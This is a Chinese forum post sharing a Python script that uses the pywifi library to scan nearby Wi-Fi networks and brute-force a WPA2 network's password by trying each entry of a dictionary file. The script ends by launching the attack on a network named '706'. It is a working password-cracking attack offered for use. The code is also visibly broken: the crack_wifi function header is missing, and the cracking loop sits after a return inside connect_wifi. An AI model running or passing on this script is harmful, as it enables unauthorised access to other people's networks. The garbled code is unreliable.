|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
- #导入相关的包
- import sys
- import time
- import platform
- import logging
- import pywifi
- from pywifi import const
- pywifi.set_loglevel(logging.INFO)
- def scan_wifi():
- #初始化wifi模块
- wifi = pywifi.PyWiFi()
- #初始化网卡,一般人只有一块网卡,也就是0(第一块)
- iface = wifi.interfaces()[0]
- #执行wifi扫描
- iface.scan()
- #等待5s
- time.sleep(5)
- #扫描wifi结果
- result = iface.scan_results()
- #取出wifi的名字作为返回
- wifiname=[]
- for i in result:
- wifiname.append(i.ssid)
- return(wifiname)
- def connect_wifi(name,password):
- #初始化wifi模块
- wifi = pywifi.PyWiFi()
- #初始化网卡
- iface = wifi.interfaces()[0]
- #断开WiFi连接
- iface.disconnect()
- #等待1s(等待断开完成,可以设置2s,但一般1s都挺长的了)
- time.sleep(1)
-
- assert iface.status() in\
- [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
- #初始化wifi连接
- profile = pywifi.Profile()
- #初始化wifi连接的名字
- profile.ssid = name
- #初始化wifi连接用的网卡的状态
- profile.auth = const.AUTH_ALG_OPEN
- #初始化wifi连接的加密算法——WPA2
- profile.akm.append(const.AKM_TYPE_WPA2PSK)
- #初始化wifi连接的密码类型
- profile.cipher = const.CIPHER_TYPE_CCMP
- #初始化wifi连接用的密码
- profile.key = password
- #删除网卡上连接过的wifi文件(注意可能会遗忘原本的密码)
- iface.remove_all_network_profiles()
- #初始化wifi配置完成
- tmp_profile = iface.add_network_profile(profile)
- #网卡连接wifi
- iface.connect(tmp_profile)
- #等待4s
- time.sleep(4)
- #如果连接状态=IFACE_CONNECTED(连接成功),那么connect_wifi返回真
- if iface.status() == const.IFACE_CONNECTED:
- return True
- else:
- return False
- #控制台打印要破解的wifi名
- print('开始解密wifi名:'+name)
- print(' ')
- #密码字典(可以理解为一本新华字典,字典的内容都是密码)
- path = 'pass.txt'
- #将密码字典导入到程序
- filename = open(path, 'r')
- #开始解密
- while True:
- try:
- #每一次循环取一行密码
- passStr = filename.readline()
- #用密码去连接wifi,并获取wifi连接的结果
- bool1 = connect_wifi(name,passStr)
- #判断结果
- if bool1:
- print(passStr,'是正确的密码哦')
- break
- else:
- print(passStr,'不是正确的密码哦')
- except:
- continue
- crack_wifi('706')
复制代码 |
|